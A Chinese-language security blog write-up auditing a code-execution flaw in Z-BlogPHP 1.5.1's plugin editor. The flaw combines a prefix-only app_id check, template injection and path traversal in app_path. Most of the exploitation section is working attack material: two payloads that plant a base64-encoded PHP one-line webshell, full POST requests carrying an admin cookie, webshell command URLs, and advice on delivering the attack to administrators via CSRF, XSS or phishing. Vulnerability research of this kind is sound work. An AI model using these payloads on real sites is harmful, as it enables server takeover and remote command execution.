安全研究

代码审计:Z-BlogPHP 1.5.1 Zero GetShell 漏洞分析

#Web安全#代码审计
深色档案风格封面,铜橙色断裂链条与破碎数字界面,象征插件编辑器中文件写入机制被绕过、通过受信任上传通道植入 webshell 的链式利用

背景

看了 Hiwin 师傅发的《Z-Blog 两处 Getshell 分析(附 EXP)(CVE-2018-8893、CVE-2018-9169、CVE-2018-9153)》的文章(原文链接:https://xz.aliyun.com/t/2277),我也分析了下 GetShell 的方法,漏洞的利用思路和 Hiwin 师傅的不大一样,欢迎讨论交流。

官方站点:https://www.zblogcn.com/

源码版本:Z-BlogPHP_1_5_1_Zero

问题文件:zb_users/plugin/AppCentre/plugin_edit.php

漏洞类型:文件写入导致代码执行

漏洞分析

问题代码块

zb_users/plugin/AppCentre/plugin_edit.php 第 47-68 行可以找到如下代码块,仔细分析就能发现两处 file_put_contents($path, $file) 的文件名和文件内容都是用户可以控制的:

// 第 47-68 行(简化示意)
// 第一处:写入路径由 app_path 决定(用户可控),内容来自 tpl/main.html 模板替换
$s = GetPreStr($app->id);  // 仅做模板替换
$file = str_replace('<%appid%>', $app->id, $tpl_main);
$path = $app_path;  // 来自 POST['app_path']
file_put_contents($path, $file);

// 第二处:写入固定 include.php,内容来自 tpl/include.html 模板替换
$file = str_replace('<%appid%>', $app->id, $tpl_include);
$path = 'include.php';
file_put_contents($path, $file);

第一处(第 57-61 行)先读取 tpl/main.html 内容,把 <%appid%> 替换为 $app->id,再通过 POST 拿到要写入的文件路径,最后 file_put_contents 写入。第二处(第 63-67 行)逻辑差不多,只是写入路径固定为 include.php

关键约束与绕过

反向跟踪 $app->id,第 50 行要求传入的值开头必须是字母、数字或下划线,长度 3-30 字符——这是一个典型的"只约束起始不约束中后段"的正则盲区:

// app_id 校验:仅约束起始字符,不约束中后段
// 正则形如 ^[A-Za-z_][A-Za-z0-9_]{2,29}$
// 实际匹配的是"以字母数字下划线开头且前3-30个字符满足规则"

因此只需要前面三个字符满足规则、后面的字符直接拼接 PHP 代码,就可以把恶意代码塞进目标文件。接下来要查看 tpl/main.htmltpl/include.html<%appid%> 出现的位置,根据上下文的闭合规则构造 payload。

模板占位符位置

main.html 模板中 <%appid%> 的位置

include.html 模板中 <%appid%> 的位置

第一处 tpl/main.html:因为存在 2 处写入点,且两处的闭合规则不一致,可以用 ?> 闭合前一处,让后面的内容(包括第二处 <%appid%>)都作为纯文本输出——这种"一次闭合、后续放任"的写法是 PHP 模板注入的经典绕过手段。

第二处 tpl/include.html:有 5 处 <%appid%>,其中第 1、2 处与其余 3 处闭合方式不同。同时如果不定义 RegisterPlugin 方法就会报错,但定义了这个方法后,由于写入位置有 4 处(其中 3 处都会尝试定义该方法),又会触发 Cannot redeclare RegisterPlugin()。在不引入 ?>/* 的情况下实在想不出构造方法(师傅们若有更好的思路,欢迎交流)。

利用过程

Windows 的限制

经过测试,Windows 下 file_put_contents 的目标路径如果包含 ?*null 等字符会直接报错无法写入。而 PHP 闭合标签 ?> 中的 ? 恰好被 Windows 视为非法路径字符,导致 app_path 不能同时承担"承载 PHP 闭合符号"与"作为合法文件名"两个角色。

因此这个文件写入导致的 GetShell,经过测试仅得到 Linux 下可稳定利用的方式。Windows 下的利用方式留待师傅们交流补充。

利用方式一:main.html 模板

构造 tpl/main.html 利用方式的 payload(前 3 字符满足正则,后续是 PHP 代码):

// payload(写入到 main.html 中替换 <%appid%> 后的内容)
balabal')){}$f=fopen('evil.php','a');fwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8+'));fclose($f);?>

base64 解码后是一句话木马 <?php $_GET['func']($_GET['cmd']);?>

由于 plugin_edit.php 第 60 行 app_path 字段存在目录跳转,可以用 ../ 跨目录,将写入的文件指向 zb_users/plugin/Totoro/main.php(Totoro 是 Z-Blog 自带的评论管理插件),等管理员访问"评论管理 → Totoro 设置"时触发恶意代码生成 evil.php

POST /zb_users/plugin/AppCentre/plugin_edit.php HTTP/1.1
Host: 192.168.112.136
Content-Type: application/x-www-form-urlencoded
Cookie: username=zblog; password=321c7793b025c200fcf087a437cf2b24; addinfo=...

app_id=balabal')){}$f%3dfopen('evil.php','a')%3bfwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b'))%3bfclose($f)%3b%3f>&app_name=1&app_url=2&app_note=3&app_adapted=151740&app_version=1.0&app_pubdate=2018-04-19&app_modified=2018-04-19&app_author_name=zblog&app_author_email=null%40null.com&app_author_url=&app_path=../Totoro/main.php&app_include=include.php&app_level=1&app_phpver=5.2&app_price=0&app_advanced_dependency=&app_advanced_conflict=&app_advanced_rewritefunctions=&app_advanced_existsfunctions=&app_description=

访问 http://192.168.112.136/zb_users/plugin/Totoro/main.php 触发后,会在该目录生成 evil.php,连接一句话即可执行命令:

http://192.168.112.136/zb_users/plugin/Totoro/evil.php?func=assert&cmd=system('ls');

利用方式二:include.html 模板

构造 tpl/include.html 利用方式的 payload,需要在前面用 function RegisterPlugin(){} 显式补一个空函数,避免"未定义方法"报错,再用 ?> 闭合后续 PHP 上下文:

// payload(写入到 include.html 中替换 <%appid%> 后的内容)
12a(){};function RegisterPlugin(){};$f=fopen('evil.php','a');fwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8+'));fclose($f)?>

进行如下请求会将上述代码写入到 include.php

POST /zb_users/plugin/AppCentre/plugin_edit.php HTTP/1.1
Host: 192.168.112.136
Content-Type: application/x-www-form-urlencoded
Cookie: username=zblog; password=321c7793b025c200fcf087a437cf2b24; ...

app_id=12a(){}%3bfunction+RegisterPlugin(){}%3b$f%3dfopen('evil.php','a')%3bfwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b'))%3bfclose($f)%3f>&app_name=1&app_url=2&app_note=3&app_adapted=151740&app_version=1.0&app_pubdate=2018-04-19&app_modified=2018-04-19&app_author_name=zblog&app_author_email=null%40null.com&app_author_url=&app_path=main.php&app_include=include.php&app_level=1&app_phpver=5.2&app_price=0&app_advanced_dependency=&app_advanced_conflict=&app_advanced_rewritefunctions=&app_advanced_existsfunctions=&app_description=

利用请求与 webshell 触发截图

请求成功后,访问插件入口(注意需要对路径做 URL 编码):

http://192.168.112.136/zb_users/plugin/12a%28%29%7B%7D%3Bfunction%20RegisterPlugin%28%29%7B%7D%3B%24f%3Dfopen%28%27evil.php%27%2C%27a%27%29%3B...

访问结束后会在插件目录下生成 evil.php,文件内容为上述一句话木马。

一句话连接命令执行

与 CSRF 的结合

以上两种利用方式都需要与 CSRF 结合才能在实战中触发——攻击者把恶意请求托管在自己的站点,通过诱导后台管理员访问(常见手段:留言板 XSS、私信钓鱼、运维后台嵌套 iframe 等)来代为提交带管理员 Cookie 的 POST 请求。Hiwin 师傅的思路正是 CSRF + XSS 的组合拳,思路非常值得膜一波,详细内容可参见原文 https://xz.aliyun.com/t/2277

写在最后

本篇以 Z-BlogPHP 1.5.1 Zero 源码进行审计和漏洞分析,其中 Windows 下的 GetShell 方法暂时没整出来,Windows 对文件名合法字符的限制太多(师傅们如果有好思路期待一起讨论),但 Linux 下与 CSRF 结合即可成功 GetShell,本篇的一些利用方式与 Hiwin 师傅的不大一样,膜一波 Hiwin 师傅的思路很棒,期待师傅们一起交流讨论。

这类"插件编辑器 + 模板占位符"的组合是老 CMS 的通病——核心逻辑往往用 str_replace 拼接模板,再用 file_put_contents 落盘,而校验只看前缀不看中后段。审计时要从一致性缝隙视角出发:声明层(“用户只能编辑自己的插件”)与实现层(“用户可写入任意 PHP 代码”)之间的差异,就是漏洞的栖身之所。Z-BlogPHP 项目方后续的修复也正是收紧了 app_id 的字符白名单与 app_path 的目录限制,从根因上闭合了这条缝隙。